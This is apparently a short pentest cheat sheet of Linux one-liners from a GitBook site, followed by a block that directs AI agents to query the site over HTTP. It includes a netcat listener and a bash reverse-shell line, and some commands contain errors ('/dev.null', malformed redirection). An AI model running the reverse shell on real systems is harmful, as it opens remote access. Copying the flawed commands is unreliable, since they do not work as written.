# One Liners

### List All Running Services:

```bash
systemctl list-units --type=service --state=running
```

### Enable Ping

```bash
echo "0" > /proc/sys/net/ipv4/icmp_echo_ignore_all
```

### Netcat Listener

```bash
nc -nlvp <port>
```

### Bash Reverse Shell

```bash
bash -i > &/dev/tcp/ip/port/ 0>&1
```

### View Running Processes

```bash
ps -aux
```

### Find Writable files

```bash
find / -perm -u=s -type f 2>/dev.null
```

### Python Web Server

```bash
python3 -m http.server <port>
```

### Kill all processes newer then 5m

```bash
sudo killall -u root -y 5m
```

### Active TCP Connections

```bash
ss -tulpn
```

### Check Syslog

```bash
cat /var/logs/syslog | grep <something>
```

### Crontab

```bash
# View crontab with
crontab -l
# Reset crontab with
crontab -r
# Disable with
systemctl stop crond.service
systemctl disable crond.service
```

### Investigate Running Port

```bash
sudo lsof -i :<port>
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://f1shh.gitbook.io/pentest-tips/blue-team/one_liners.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
